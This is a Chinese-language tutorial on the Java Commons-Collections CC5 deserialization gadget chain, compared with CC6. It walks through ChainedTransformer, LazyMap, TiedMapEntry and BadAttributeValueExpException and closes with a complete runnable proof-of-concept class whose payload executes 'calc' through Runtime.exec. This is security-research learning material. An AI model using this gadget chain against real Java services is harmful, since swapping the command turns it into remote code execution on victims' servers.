之前分析过了cc6 cc5只不过和cc6链子入口点不一样

先总结下cc6

1. 造炸弹:组装恶意代码链条

核心武器ChainedTransformer(链条转换器)

通过反射调用Runtime.getRuntime().exec("calc"),相当于把弹计算器的指令拆成四步:

Transformer[] transformers = {  
new ConstantTransformer(Runtime.class), // 拿到Runtime类
new InvokerTransformer("getMethod", ...), // 获取getRuntime方法
new InvokerTransformer("invoke", ...), // 执行getRuntime()得到实例
new InvokerTransformer("exec", ...) // 调用exec弹计算器
};

作用:这四步像流水线一样串联,最终执行命令

大白话解释CC6链的触发流程

CC6链就像在快递包裹里藏了一个全自动炸弹,当目标服务器拆开包裹(反序列化数据)时,会触发一系列连锁反应,最终执行恶意命令(如弹计算器)。以下是通俗拆解:


1. 造炸弹:组装恶意代码链条

-

核心武器

ChainedTransformer

(链条转换器)

  • 通过反射调用

    Runtime.getRuntime().exec("calc")

    相当于把弹计算器的指令拆成四步:

    Transformer[] transformers = {  
    new ConstantTransformer(Runtime.class), // 拿到Runtime类
    new InvokerTransformer("getMethod", ...), // 获取getRuntime方法
    new InvokerTransformer("invoke", ...), // 执行getRuntime()得到实例
    new InvokerTransformer("exec", ...) // 调用exec弹计算器
    };
  • 作用:这四步像流水线一样串联,最终执行命令。


2. 伪装炸弹:LazyMap的“懒加载”特性

机关设置LazyMap(懒加载地图)

  • 当调用LazyMap.get("不存在的key")时,如果key不存在,就会触发预设的恶意链条(ChainedTransformer)。
Map lazyMap = LazyMap.decorate(new HashMap(), chain);  

问题:直接调用get会提前触发炸弹,需后续绕过

3. 设置触发开关:TiedMapEntry的hashCode

关键跳板TiedMapEntry(绑定地图的入口)

LazyMap和一个假key(如"fakeKey")绑定到TiedMapEntry

TiedMapEntry entry = new TiedMapEntry(lazyMap, "fakeKey");  

触发逻辑

  • 当调用entry.hashCode()时,内部会执行getValue()lazyMap.get("fakeKey") → 触发炸弹。

4. 绕过提前爆炸:反射修改LazyMap的工厂

坑点:初始化LazyMap时若直接绑定恶意链条,测试时会提前弹计算器

// 先用无害的Transformer初始化  
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
// 反射偷偷替换成恶意链条
Field factoryField = lazyMap.getClass().getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chain);

确保炸弹只在反序列化时引爆

5. 自动引爆:HashMap的反序列化机制

最终机关HashMapreadObject方法

HashMap map = new HashMap();  
map.put(entry, "任意值");
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
This only works in JDK 8u76 and WITHOUT a security manager
*/

CC6是利用TiedMapEntry中的hashCode函数;CC5是利用TiedMapEntry中的toString函数;为什么还可以利用toString方法;其实也就是因为toString也调用了调用了getValue方法的原因

public String toString() {
return getKey() + "=" + getValue();
}

public Object getValue() {
return map.get(key);
}

BadAttributeValueExpException这个类的readObject调用valObj.toString(),valObj的值是可控的;尽管BadAttributeValueExpException没有实现 Serializable 接口的情况下,任然可以序列化

POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "deadbeef");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class bclass = badAttributeValueExpException.getClass();
Field val = bclass.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize();

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}